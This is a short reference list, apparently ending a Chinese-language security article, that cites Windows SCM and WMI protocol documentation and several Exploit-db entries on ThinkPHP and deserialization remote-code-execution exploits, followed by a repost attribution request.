[5] Service Control Manager Remote Protocol
[6] Windows Management Instrumentation
[7] Exploit-db: ThinkPHP – Multiple PHP Injection RCEs (Metasploit)
[8] Exploit-db: 反序列化漏洞
[9] Exploit-db: ‘AsyncResponseService ‘ 反序列化 RCE (Metasploit)
转载请注明出处及链接